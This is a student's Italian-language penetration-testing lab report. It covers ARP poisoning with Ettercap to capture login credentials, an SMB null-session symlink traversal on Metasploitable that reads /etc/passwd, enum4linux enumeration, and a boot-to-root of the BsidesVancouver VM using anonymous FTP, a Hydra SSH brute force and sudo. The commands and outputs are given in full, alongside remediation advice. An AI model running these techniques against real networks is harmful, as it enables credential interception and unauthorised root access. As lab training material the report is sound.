

W15D1 – Pratica

Epic Education Srl

**Ettercap, NULL Session SMB, Enum4linux e
BisidesVancouver blackbox**

Simone Giordano

16/10/2025



Contatti:

Tel: 3280063044

Email: mynameisimone@gmail.com

Linkedin: <https://www.linkedin.com/in/simone-giordano-91290652/>

Sommario

Sintesi esecutiva	3
Panoramica delle vulnerabilità	3
Azioni di rimedio.....	3
Prima parte	5
Risposta quesiti.....	5
Seconda parte	6
Ettercap	6
Esercizio extra	10
Vulnerabilità NULL Session di SMB.....	10
Enum4linux	13
Esercizio extra sperimentale	14
Hacking VM Blackbox - BsidesVancouver.....	14

Sintesi esecutiva

Durante le attività di analisi condotte sulla rete di laboratorio, sono state individuate diverse vulnerabilità nei servizi esposti dagli host analizzati.

Macchina Windows

Un attaccante con accesso alla stessa rete locale può eseguire tecniche di ARP Poisoning per intercettare il traffico.

Macchina Metasploitable

Sono presenti debolezze legate alla gestione delle condivisioni SMB e mancano meccanismi di cifratura nelle comunicazioni.

VM Blackbox – BsidesVancouver

Sono presenti credenziali FTP deboli che consentono l'accesso alla macchina e l'acquisizione di privilegi root.

Perimetro

Macchina Windows

IP: 192.168.1.22

Macchina Metasploitable

IP: 192.168.50.101

VM Blackbox – BsidesVancouver

IP: 192.168.56.101

Panoramica delle vulnerabilità

Macchina Windows

ARP Poisoning / Man in the Middle – La rete locale non implementa meccanismi di difesa (ARP inspection), permettendo a un attaccante di intercettare e manipolare il traffico.

Macchina Metasploitable

Null Session SMB – Le condivisioni SMB non protette consentono l'accesso anonimo a informazioni di sistema (utenti, gruppi, directory), favorendo attività di ricognizione ed escalation dei privilegi.

VM Blackbox – BsidesVancouver

Credenziali deboli (Brute Force SSH riuscito) – La password individuata durante i test (“princess”) è facilmente reperibile in dizionari pubblici e non rispetta criteri di complessità.

Servizio FTP con accesso anonymous – L'abilitazione dell'utente *anonymous* consente l'accesso in lettura e potenzialmente in scrittura a dati sensibili.

Azioni di rimedio

Macchina Windows

ARP Poisoning

- Usare protocolli cifrati (HTTPS, SSH, SFTP) per proteggere i dati in transito.
- Monitorare la rete con strumenti di rilevamento ARP Poisoning.

Macchina Metasploitable

SMB / Null Session

- Disabilitare l'accesso anonimo.
- Limitare le condivisioni a utenti autenticati e necessari.
- Aggiornare o sostituire i servizi Samba obsoleti con versioni sicure.

VM Blackbox – BsidesVancouver

FTP

- Disabilitare l'accesso *anonymous* o limitarlo a un'area isolata.
- Abilitare FTPS o SFTP per cifrare i trasferimenti.
- Applicare politiche di password robuste per tutti gli account.

SSH

- Imporre l'uso di password complesse.
- Limitare l'accesso SSH solo da host fidati.

Prima parte

Risposta quesiti

Spiegare brevemente cosa vuol dire Null Session.

Una Null Session è una connessione anonima che sfrutta condivisioni di rete mal configurate, che non richiedono autenticazione, quindi senza fornire utente e password, per ottenere accesso non autorizzato a dati di sistema.

Elencare i sistemi che sono vulnerabili a Null Session e se sono ancora in commercio.

Le vulnerabilità Null Session si trovano sui sistemi Windows NT, Windows 2000, Windows XP e Windows Server 2003. Si tratta di sistemi non più in commercio.

Elencare le modalità per mitigare o risolvere la vulnerabilità Null Session

- 1 Disattivare l'account Guest che permette di accedere alle risorse di rete senza l'inserimento di credenziali.
- 2 Implementare attività di monitoraggio della rete e adottare l'utilizzo di firewall per filtrare le connessioni a porte specifiche.
- 3 Aggiornare i sistemi con le versioni più recenti.
- 4 Configurazione delle autorizzazioni di condivisione dei file limitando l'accesso a utenti specifici necessari.

Spiegare brevemente come funziona l'ARP Poisoning.

Un attaccante, tramite la tecnica di Address Resolution Protocol Poisoning, invia pacchetti ARP falsificati al fine di intercettare e modificare il traffico di rete tra due host.

Se l'attaccante trova il modo di manipolare la tabella ARP cache, può ricevere del traffico destinato ad altri. In definitiva l'attaccante invia richieste ARP per modificare la tabella ARP cache facendo risultare l'IP del gateway associato al suo MAC address facendo quindi passare le comunicazioni per la sua macchina.

Elencare i sistemi che sono vulnerabili a ARP Poisoning.

L'ARP Poisoning può colpire i sistemi che si trovano all'interno di una rete LAN e che utilizzano lo stesso gateway e IP di rete.

Elencare le modalità per mitigare, rilevare o annullare l'ARP Poisoning.

- 1 Monitorare la rete per rilevare accessi non autorizzati o attacchi di ARP Poisoning
- 2 Utilizzare protocolli cifrati per evitare che eventuali attaccanti leggano i dati in transito.
- 3 Utilizzare software che individuano attacchi ARP Poisoning.

Seconda parte

Ettercap

Facendo clic sui 3 pallini verticali, quindi su **Scan for hosts** facciamo partire la scansione degli host presenti nella nostra rete.



Le vittime saranno:

Gateway 192.168.1.1

Host con Windows 192.168.1.22

A screenshot of the Ettercap interface showing the "Host List" tab. The table displays the following network hosts:

IP Address	MAC Address	Description
192.168.1.1	34:24:3E:14:65:FF	
192.168.1.4	44:29:1E:9E:6F:FD	
192.168.1.8	18:47:3D:4C:7A:85	
192.168.1.11	74:40:BB:72:52:8B	
192.168.1.14	9A:9B:86:D4:34:8C	
192.168.1.15	5C:E0:C5:B6:35:F5	
192.168.1.16	A4:FC:77:78:83:11	
192.168.1.20	00:DB:DF:9B:AF:00	
192.168.1.22	08:00:27:AD:0A:B9	
192.168.1.27	58:38:79:76:B4:46	
192.168.1.40	7C:4D:8F:48:1F:FE	
192.168.1.88	4C:BB:58:3D:17:52	
fe80::4ef0:db9f:59db:cff8	00:DB:DF:9B:AF:00	
fe80::989b:86ff:fed4:348c	9A:9B:86:D4:34:8C	

Below the table, there are three buttons: "Delete Host", "Add to Target 1", and "Add to Target 2". A status message at the bottom left says: "Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... 13 hosts added to the hosts list... DHCP: [EE:B2:0B:8C:EC:A7] REQUEST 192.168.1.10 DHCP: [EE:B2:0B:8C:EC:A7] REQUEST 192.168.1.10 DHCP: [EE:B2:0B:8C:EC:A7] REQUEST 192.168.1.10".

Visualizzo la tabella ARP dalla VM Windows

Indirizzo Internet	Indirizzo fisico	Tipo
192.168.1.1	34-24-3e-14-65-ff	dinamico
192.168.1.255	ff-ff-ff-ff-ff-ff	statico
224.0.0.2	01-00-5e-00-00-02	statico
224.0.0.9	01-00-5e-00-00-09	statico
224.0.0.22	01-00-5e-00-00-16	statico
224.0.0.251	01-00-5e-00-00-fb	statico
224.0.0.252	01-00-5e-00-00-fc	statico
224.0.0.253	01-00-5e-00-00-fd	statico
239.255.255.250	01-00-5e-7f-ff-fa	statico
255.255.255.255	ff-ff-ff-ff-ff-ff	statico

In Ettercap metto i due dispositivi vittima rispettivamente in **Add to target 1** e **Add to Target 2**.

Host List		
IP Address	MAC Address	Description
192.168.1.1	34:24:3E:14:65:FF	
192.168.1.4	44:29:1E:9E:6F:FD	
192.168.1.8	18:47:3D:4C:7A:85	
192.168.1.11	74:40:BB:72:52:8B	
192.168.1.14	9A:9B:86:D4:34:8C	
192.168.1.15	5C:E0:C5:B6:35:F5	
192.168.1.16	A4:FC:77:78:83:11	
192.168.1.20	00:DB:DF:9B:AF:00	
192.168.1.22	08:00:27:AD:0A:B9	
192.168.1.27	58:38:79:76:B4:46	
192.168.1.40	7C:4D:8F:48:1F:FE	

Come possiamo notare ora il gateway ha lo stesso MAC di Kali.

MAC Kali visualizzato dalla VM Kali: 08:00:27:d1:f8:5

```
(kali㉿kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
    inet 192.168.1.19  netmask 255.255.255.0  broadcast 192.168.1.255
        ether 08:00:27:d1:f8:5d  txqueuelen 1000  (Ethernet)
          RX packets 10425  bytes 4223825 (4.0 MiB)
          RX errors 0  dropped 0  overruns 0  frame 0
          TX packets 1873  bytes 220623 (215.4 KiB)
          TX errors 0  dropped 5  overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
    inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
          RX packets 23  bytes 2160 (2.1 KiB)
          RX errors 0  dropped 0  overruns 0  frame 0
          TX packets 23  bytes 2160 (2.1 KiB)
          TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0
```

MAC Gateway 08:00:24:d1:f8:5 (stesso di Kali) visualizzato dalla VM Windows.

Indirizzo Internet	Indirizzo fisico	Tipo
192.168.1.1	08-00-27-d1-f8-5d	dinamico
192.168.1.19	08-00-27-d1-f8-5d	dinamico
192.168.1.255	ff-ff-ff-ff-ff-ff	statico
224.0.0.2	01-00-5e-00-00-02	statico
224.0.0.9	01-00-5e-00-00-09	statico
224.0.0.22	01-00-5e-00-00-16	statico
224.0.0.251	01-00-5e-00-00-fb	statico
224.0.0.252	01-00-5e-00-00-fc	statico
224.0.0.253	01-00-5e-00-00-fd	statico
239.255.255.250	01-00-5e-7f-ff-fa	statico
255.255.255.255	ff-ff-ff-ff-ff-ff	statico

Visualizziamo il poisoning di Ettercap in azione tramite Wireshark.

No.	Time	Source	Destination	Protocol	Length	Info
21	4.563056551	fe:24:3e:14:65:00	Broadcast	ARP	60	Who has 192.168.1.8? Tell 192.168.1.1
22	4.643721263	Intel_b6:35:f5	Broadcast	ARP	60	Who has 192.168.1.110? Tell 192.168.1.15
24	5.667593433	Intel_b6:35:f5	Broadcast	ARP	60	Who has 192.168.1.110? Tell 192.168.1.15
27	10.123268210	PCSSystemtec_d1:f8:5d	zte_14:65:ff	ARP	42	192.168.1.22 is at 08:00:27:d1:f8:5d
28	10.123661042	PCSSystemtec_d1:f8:5d	PCSSystemtec_ad:0a:...	ARP	42	192.168.1.1 is at 08:00:27:d1:f8:5d (duplicate)
29	11.917027101	Intel_b6:35:f5	Broadcast	ARP	60	Who has 192.168.1.110? Tell 192.168.1.15
30	12.635154230	Intel_b6:35:f5	Broadcast	ARP	60	Who has 192.168.1.110? Tell 192.168.1.15
31	13.658893076	Intel_b6:35:f5	Broadcast	ARP	60	Who has 192.168.1.110? Tell 192.168.1.15
47	20.135615796	PCSSystemtec_d1:f8:5d	zte_14:65:ff	ARP	42	192.168.1.22 is at 08:00:27:d1:f8:5d
48	20.136190996	PCSSystemtec_d1:f8:5d	PCSSystemtec_ad:0a:...	ARP	42	192.168.1.1 is at 08:00:27:d1:f8:5d (duplicate)
49	21.511826441	ChongqingFug_4c:7a:85	Broadcast	ARP	60	Who has 192.168.1.1? Tell 192.168.1.8
50	21.518572810	fe:24:3e:14:65:00	ChongqingFug_4c:7a:...	ARP	60	192.168.1.1 is at 34:24:3e:14:65:ff
66	27.899260295	Intel_b6:35:f5	Broadcast	ARP	60	Who has 192.168.1.110? Tell 192.168.1.15
67	28.614618726	fe:24:3e:14:65:00	Broadcast	ARP	60	Who has 192.168.1.8? Tell 192.168.1.1
68	28.718734412	Intel_b6:35:f5	Broadcast	ARP	60	Who has 192.168.1.110? Tell 192.168.1.15
69	29.644824427	Intel_b6:35:f5	Broadcast	ARP	60	Who has 192.168.1.110? Tell 192.168.1.15
70	30.147264221	PCSSystemtec_d1:f8:5d	zte_14:65:ff	ARP	42	192.168.1.22 is at 08:00:27:d1:f8:5d
71	30.147443042	PCSSystemtec_d1:f8:5d	PCSSystemtec_ad:0a:...	ARP	42	192.168.1.1 is at 08:00:27:d1:f8:5d (duplicate)
78	30.972274241	Intel_b6:35:f5	Broadcast	ARP	60	Who has 192.168.1.110? Tell 192.168.1.15
79	30.973000098	Intel_b6:35:f5	Broadcast	ARP	60	Who has 192.168.1.39? Tell 192.168.1.15
80	31.517827542	ChongqingFug_4c:7a:85	Broadcast	ARP	60	Who has 192.168.1.1? Tell 192.168.1.8
81	31.523519634	fe:24:3e:14:65:00	ChongqingFug_4c:7a:...	ARP	60	192.168.1.1 is at 34:24:3e:14:65:ff
82	31.690165288	Intel_b6:35:f5	Broadcast	ARP	60	Who has 192.168.1.110? Tell 192.168.1.15
83	31.690165641	Intel_b6:35:f5	Broadcast	ARP	60	Who has 192.168.1.39? Tell 192.168.1.15
87	32.714421328	Intel_b6:35:f5	Broadcast	ARP	60	Who has 192.168.1.110? Tell 192.168.1.15
88	32.714421596	Intel_b6:35:f5	Broadcast	ARP	60	Who has 192.168.1.39? Tell 192.168.1.15

Se ci connettiamo al sito <http://testphp.vulnweb.com/login.php> e inseriamo le credenziali, Ettercap intercetterà la comunicazione svelandoci le credenziali

login page

Non sicuro testphp.vulnweb.com/login.php

acunetix acuart

TEST and Demonstration site for **Acunetix Web Vulnerability Scanner**

home | categories | artists | disclaimer | your cart | guestbook | AJAX Demo

search art go

Browse categories

Browse artists

Your cart

Signup

Your profile

Our guestbook

AJAX Demo

Links

Security art

PHP scanner

If you are already registered please enter your login information below:

Username :

Password :

You can also [signup here](#).
Signup disabled. Please use the username **test** and the password **test**.

Delete Host	Add to Target1	Add to Target2
DHCP: [EE:B2:0B:8C:EC:A7] REQUEST 192.168.1.10		
Host 192.168.1.1 added to TARGET1		
Host 192.168.1.22 added to TARGET2		
ARP poisoning victims:		
GROUP 1: 192.168.1.1 34:24:3E:14:65:FF		
GROUP 2 : 192.168.1.22 08:00:27:AD:0A:B9		
HTTP : 44.228.249.3:80 -> USER: test PASS: test INFO: http://testphp.vulnweb.com/login.php		
CONTENT: uname=test&pass=test		

Esercizio extra

Vulnerabilità NULL Session di SMB

Con **nmap** cerco di capire se è presente un servizio **SMB** su una porta aperta e noto due servizi, uno sulla porta 139 e l'altro sulla porta 445.

```
(kali㉿kali)-[~]
$ nmap -sV 192.168.50.101
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-15 15:19 EDT
Nmap scan report for 192.168.50.101
Host is up (0.0013s latency).

Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
```

smbclient -L //192.168.50.101

Il comando **smbclient** serve per elencare le condivisioni SMB (Server Message Block) disponibili su Metasploitable (192.168.50.101).

```
(kali㉿kali)-[~]
$ smbclient -L //192.168.50.101
Password for [WORKGROUP\kali]:
Anonymous login successful

      Sharename      Type      Comment
      print$        Disk      Printer Drivers
      tmp           Disk      oh noes!
      opt           Disk
      IPC$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
      ADMIN$        IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

      Server
      Workgroup      Comment
      WORKGROUP      Master
```

Ottengo una shell smb: \> con il comando **smb -L //IP target**.

```
(kali㉿kali)-[~]
$ smbclient -L //192.168.50.101
Password for [WORKGROUP\kali]:
Anonymous login successful

  Sharename      Type      Comment
  print$        Disk      Printer Drivers
  tmp           Disk      oh noes!
  opt           Disk
  IPC$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
  ADMIN$        IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

  Server
  -----
  Workgroup      Master
  WORKGROUP      METASPLOITABLE
```

Abilito la modalità Posix che mi consente di creare un link simbolico (symlink) alla cartella root.

```
smb: \> posix
Server supports CIFS extensions 1.0
Server supports CIFS capabilities acls pathnames
```

Creo un link simbolico (symlink) **dentro tmp** che chiamerò **roofs** collegando la root di Metasploitable. Per arrivare alla root risalgo 10 volte la cartella precedente con **../** per essere sicuro di risalire fino alla cartella root.

Con **ls** vediamo cosa c'è dentro.

```
Server supports CIFS capabilities acls pathnames
smb: /> symlink ../../../../../../../../../roofs
smb: /> ls
.
..
.ICE-unix
4514.jsvc_up
.X11-unix
.X0-lock
roofs

7282168 blocks of size 1024. 5415628 blocks available
```

Quindi entro dentro **roofs** dove trovo la cartella **etc**.

```

smb: ~/ > cd roofs
smb: /roofs/> ls
.
..
initrd
media
bin
lost+found
mnt
sbin
initrd.img
home
lib
usr
proc
root
sys
boot
nohup.out
etc
dev
vmlinuz
opt
var
cdrom
tmp
srv

```

	DR	0	Sun May 20	14:36:12	2012
.	DR	0	Sun May 20	14:36:12	2012
..	DR	0	Tue Mar 16	18:57:40	2010
initrd	DR	0	Tue Mar 16	18:55:52	2010
media	DR	0	Sun May 13	23:35:33	2012
bin	DR	0	Tue Mar 16	18:55:15	2010
lost+found	DR	0	Wed Apr 28	16:16:56	2010
mnt	DR	0	Sun May 13	21:54:53	2012
sbin	R 7929183	Sun May 13	23:35:56		2012
initrd.img	DR	0	Fri Apr 16	02:16:02	2010
home	DR	0	Sun May 13	23:35:22	2012
lib	DR	0	Wed Apr 28	00:06:37	2010
usr	DR	0	Wed Oct 15	15:13:03	2025
proc	DR	0	Wed Oct 15	15:13:44	2025
root	DR	0	Wed Oct 15	15:13:04	2025
sys	DR	0	Sun May 13	23:36:28	2012
boot	R 20962	Wed Oct 15	15:13:44		2025
nohup.out	DR	0	Wed Oct 15	15:13:21	2025
etc	DR	0	Wed Oct 15	15:13:15	2025
dev	DR	0	Thu Apr 10	12:55:41	2008
vmlinuz	R 1987288	Tue Mar 16	18:57:39		2010
opt	DR	0	Wed Mar 17	10:08:23	2010
var	DR	0	Tue Mar 16	18:55:51	2010
cdrom	DR	0	Wed Oct 15	15:51:46	2025
tmp	D	0	Tue Mar 16	18:57:38	2010
srv	DR	0			

Dentro **etc** trovo **passwd** che visualizzo con il comando **more passwd**.

```

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,,:/home/user:/bin/bash
service:x:1002:1002,,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
/tmp/smbmore.4YvZeZ (END)

```

Enum4linux

Enum4linux è uno strumento di enumerazione SMB usato per raccogliere informazioni da sistemi Linux. Serve per scoprire **utenti, gruppi, condivisioni e configurazioni** di un host remoto che espone servizi SMB.

```
(kali㉿kali)-[~] $ enum4linux 192.168.50.101
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Oct 15 16:15:03 2025
_____( Target Information )_____
Target ..... 192.168.50.101
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

_____( Enumerating Workgroup/Domain on 192.168.50.101 )_____
[+] Got domain/workgroup name: WORKGROUP

_____( Nbtstat Information for 192.168.50.101 )_____
Looking up status of 192.168.50.101
METASPLOITABLE <00> - B <ACTIVE> Workstation Service
METASPLOITABLE <03> - B <ACTIVE> Messenger Service
METASPLOITABLE <20> - B <ACTIVE> File Server Service
.. __MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
WORKGROUP <1d> - B <ACTIVE> Master Browser
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections

MAC Address = 00-00-00-00-00-00
```

Esercizio extra sperimentale

Hacking VM Blackbox - BsidesVancouver

L'IP di Kali è 192.168.56.103.

```
(kali㉿kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:d1:f8:5d brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.103/24 brd 192.168.56.255 scope global dynamic noprefixroute eth0
        valid_lft 545sec preferred_lft 545sec
    inet6 fe80::9772:73aa:7c7:d5fb/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

Facendo una scansione sulla rete, l'unica altra Virtual Machine accesa è quella con IP **192.168.56.101**.

```
(kali㉿kali)-[~]
$ nmap -sn 192.168.56.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-16 05:37 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.1
Host is up (0.0053s latency).
MAC Address: 0A:00:27:00:00:10 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00049s latency).
MAC Address: 08:00:27:B8:55:5D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101 ←
Host is up (0.0010s latency).
MAC Address: 08:00:27:10:6D:CA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.103
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.92 seconds
```

Facendo una scansione sulla macchina notiamo 3 porte aperte.

```
(kali㉿kali)-[~]
$ nmap -sV 192.168.56.101
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-16 05:51 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.101
Host is up (0.00043s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 2.3.5
22/tcp    open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    Apache httpd 2.2.22 ((Ubuntu))
MAC Address: 08:00:27:10:6D:CA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.66 seconds
```

È possibile accedere al servizio FTP con la password **anonymous**.

Al suo interno c'è il file **users.txt.bk** che contiene l'elenco dei seguenti utenti:

abatchy
john
mai
anne
doomguy

Visto che sono pochi ho provato ad accedere con i vari nomi utente; per tutti i permessi vengono rifiutati eccetto per l'utente **anne**, per cui chiede la password. Per questo motivo tento un bruteforce con hydra solo sull'utente **anne**.

Con l'offset più piccolo della lista di password rockyou (rockyou-05.txt) ho individuato rapidamente la password: **princess**

```
(kali㉿kali)-[~/SecLists/Passwords/Leaked-Databases]
└─$ hydra -l anne -P rockyou-05.txt 192.168.56.101 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-16 06:35:17
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 13 tasks per 1 server, overall 13 tasks, 13 login tries (l:1:p:13), ~1 try per task
[DATA] attacking ssh://192.168.56.101:22/
[22][ssh] host: 192.168.56.101 login: anne password: princess
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-10-16 06:35:30
```

Questa volta, con la password, riesco ad accedere a ssh.

Una volta dentro, con il comando **sudo -s** e inserendo la password **princess** riesco a diventare utente root!!!! Daje!!

p.s. scusa l'entusiasmo poco professionale, ma dopo mesi di studio è la prima volta e non ti nego un certo fomento 😊

```
(kali㉿kali)-[/]
└─$ ssh anne@192.168.56.101
anne@192.168.56.101's password:
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic i686)

 * Documentation:  https://help.ubuntu.com/

382 packages can be updated.
275 updates are security updates.

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Thu Oct 16 03:37:25 2025 from 192.168.56.103
anne@bsides2018:~$ sudo -s
[sudo] password for anne:
root@bsides2018:~# █ ←
```

```
root@bsides2018:/# cd root
root@bsides2018:/root# ls
flag.txt
root@bsides2018:/root# cat flag.txt
Congratulations!
```

If you can read this, that means you were able to obtain root permissions on this VM.
You should be proud!

There are multiple ways to gain access remotely, as well as for privilege escalation.
Did you find them all?

@abatchy17